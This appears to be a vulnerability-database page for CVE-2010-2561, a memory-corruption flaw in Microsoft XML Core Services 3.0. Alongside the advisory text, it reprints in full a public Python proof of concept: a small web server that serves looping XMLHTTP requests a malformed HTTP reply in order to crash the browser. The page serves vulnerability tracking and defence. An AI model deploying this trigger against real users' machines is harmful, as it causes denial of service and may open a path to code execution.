CVE-2010-2561

critical

Published 2010-08-11 · Modified 2026-04-29

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CVSS v3

—

CVSS v4 NEW

—

not yet in upstream

VIR risk

10.0

Description

Microsoft XML Core Services (aka MSXML) 3.0 does not properly handle HTTP responses, which allows remote attackers to execute arbitrary code or cause a denial of service (memory corruption) via a crafted response, aka "Msxml2.XMLHTTP.3.0 Response Handling Memory Corruption Vulnerability."

Predictions

Exploit likelihood

20%

Patch ETA

—

Heuristic predictions, AS-IS, for prioritization only.

Mitigations

No mitigations published for this CVE yet.

The vendor-content worker queues fetches as references arrive (check back in a few minutes). Or — if you've already worked around this in production — publish your fix to the community-verified tier.

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Exploits

Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.

Exploit-DB

EDB-14609 dos windows verified python · 2 KB

Skylined · 2010-08-10

Microsoft Msxml2.XMLHTTP.3.0 - Response Handling Memory Corruption (MS10-051)

python exploit Source: Exploit-DB

# Sources:
# http://skypher.com/index.php/2010/08/10/ms10-051/
# http://code.google.com/p/skylined/issues/detail?id=17
#
import os, re, socket;
webserver_port = 28876;

replies = {
  r'^/$': ('text/html', """
<SCRIPT>
  iCounter = 0
  function go() {
    var request_url = location.protocol + "//" + location.host + "/RandomHTTP?counter=" + (iCounter++);
    var xml_http_request = new ActiveXObject("Msxml2.XMLHTTP.3.0");
    xml_http_request.open("GET", request_url, false);
    xml_http_request.send();
    setTimeout(go, 1);
  }
  go();
</SCRIPT>
"""),
  r'^/RandomHTTP\?counter=\d+$': 'HTTP 4\n',
};

server_socket = socket.socket();
server_socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1);
server_socket.bind(('', webserver_port));
server_socket.listen(1);
print 'Webserver running at http://localhost:%d/' % webserver_port;

while 1:
  client_socket,_ = server_socket.accept();
  try:
    request = client_socket.recv(1024);
  except socket.error, e:
    print '>> ??';
    continue;
  print '>> ' + request.split('\r\n')[0];
  path = None;
  if request[:4] == 'GET ':
    end_path = request.find(' ', 4);
    if end_path != -1:
      path = request[4:end_path];
  code, reason, mime_type, body = 404, 'Not found', 'text/plain', 'Not found';
  response = None;
  if path is not None:
    for path_regexp in replies.keys():
      if re.match(path_regexp, path):
        if type(replies[path_regexp]) == str:
          response = replies[path_regexp];
        elif type(replies[path_regexp]) == tuple:
          code, reason = 200, 'OK';
          mime_type, body = replies[path_regexp];
        else:
          code, reason, mime_type, body = replies[path_regexp](path);
        break;
  if response is None:
    response = '\r\n'.join([
      'HTTP/1.1 %03d %s' % (code, reason),
      'Content-Type: %s' % mime_type,
      'Date: Sat Aug 28 1976 09:15:00 GMT',
      'Expires: Sat Aug 28 1976 09:15:00 GMT',
      'Cache-Control: no-cache, must-revalidate',
      'Pragma: no-cache', 
      'Accept-Ranges: bytes',
      'Content-Length: %d' % len(body),
      '',
      body
    ]);
  print '<< %s (%d bytes %s)' % \
      (response.split('\r\n')[0], len(response), mime_type);
  try:
    client_socket.send(response);
  except socket.error, e:
    pass;
  client_socket.close();

Application impact

Vendor	Product	Versions	Fixed
microsoft	xml_core_services	`3.0`

References

CWEs

CWE-94

Community-verified mitigations for this CVE will appear above when contributors publish them.

Verify integrity in audit chain (admin only). AS-IS.